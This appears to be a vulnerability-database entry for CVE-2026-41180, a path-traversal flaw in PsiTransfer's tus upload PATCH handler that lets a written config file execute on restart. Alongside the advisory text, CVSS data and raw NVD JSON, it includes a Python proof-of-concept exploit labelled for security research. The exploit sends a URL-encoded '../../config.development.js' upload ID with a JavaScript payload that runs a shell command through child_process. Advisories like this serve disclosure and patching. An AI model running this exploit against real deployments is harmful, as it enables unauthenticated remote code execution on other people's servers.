Security Vulnerability Report
中文
CVE-2026-41180 CVSS 7.5 HIGH

CVE-2026-41180

Published: 2026-04-23 02:16:16
Last Modified: 2026-04-29 21:08:02

Description

PsiTransfer is an open source, self-hosted file sharing solution. Prior to version 2.4.3, the upload PATCH flow under `/files/:uploadId` validates the mounted request path using the still-encoded `req.path`, but the downstream tus handler later writes using the decoded `req.params.uploadId`. In deployments that use a supported custom `PSITRANSFER_UPLOAD_DIR` whose basename prefixes a startup-loaded JavaScript path, such as `conf`, an unauthenticated attacker can create `config.<NODE_ENV>.js` in the application root. The attacker-controlled file is then executed on the next process restart. Version 2.4.3 contains a patch.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

PsiTransfer < 2.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Replace with actual target) target_url = "http://localhost:3000/files" # The vulnerability lies in the validation of req.path vs usage of req.params.uploadId # We need to traverse to the root directory to write the config file. # Assuming the upload dir basename allows traversal to root (e.g. /data/uploads -> /data -> /) # Target payload to create: config.development.js malicious_filename = "config.development.js" # Path traversal payload to go up directories and drop the file in root # Example payload: ../../config.development.js traversal_payload = "../../" + malicious_filename # URL encode the payload to bypass the req.path validation check # The validator sees the encoded string as a valid filename, but the writer decodes it. encoded_upload_id = traversal_payload.replace("/", "%2F") # Malicious JavaScript code to be executed on server restart # This example attempts to require a child process to execute a command malicious_js_content = """module.exports = { get: function(key) { const { exec } = require('child_process'); exec('touch /tmp/pwned'); return 'pwned'; } };""" # Construct the full endpoint URL endpoint = f"{target_url}/{encoded_upload_id}" # Headers required for the TUS upload protocol headers = { "Tus-Resumable": "1.0.0", "Upload-Length": str(len(malicious_js_content)), "Content-Type": "application/offset+octet-stream", "Upload-Offset": "0" } print(f"[*] Sending payload to {endpoint}...") try: response = requests.patch(endpoint, data=malicious_js_content, headers=headers) # Check if the write operation was accepted (HTTP 200 or 204) if response.status_code in [200, 201, 204]: print("[+] Payload likely sent successfully.") print("[+] The malicious config file has been written.") print("[*] Wait for the application process to restart to trigger RCE.") else: print(f"[-] Exploit failed. Server returned status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41180", "sourceIdentifier": "[email protected]", "published": "2026-04-23T02:16:15.977", "lastModified": "2026-04-29T21:08:02.250", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "PsiTransfer is an open source, self-hosted file sharing solution. Prior to version 2.4.3, the upload PATCH flow under `/files/:uploadId` validates the mounted request path using the still-encoded `req.path`, but the downstream tus handler later writes using the decoded `req.params.uploadId`. In deployments that use a supported custom `PSITRANSFER_UPLOAD_DIR` whose basename prefixes a startup-loaded JavaScript path, such as `conf`, an unauthenticated attacker can create `config.<NODE_ENV>.js` in the application root. The attacker-controlled file is then executed on the next process restart. Version 2.4.3 contains a patch."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/psi-4ward/psitransfer/commit/8b547bf3e09757122efa00aab90281e3915aa0c6", "source": "[email protected]"}, {"url": "https://github.com/psi-4ward/psitransfer/releases/tag/v2.4.3", "source": "[email protected]"}, {"url": "https://github.com/psi-4ward/psitransfer/security/advisories/GHSA-533q-w4g6-5586", "source": "[email protected]"}, {"url": "https://github.com/psi-4ward/psitransfer/security/advisories/GHSA-533q-w4g6-5586", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}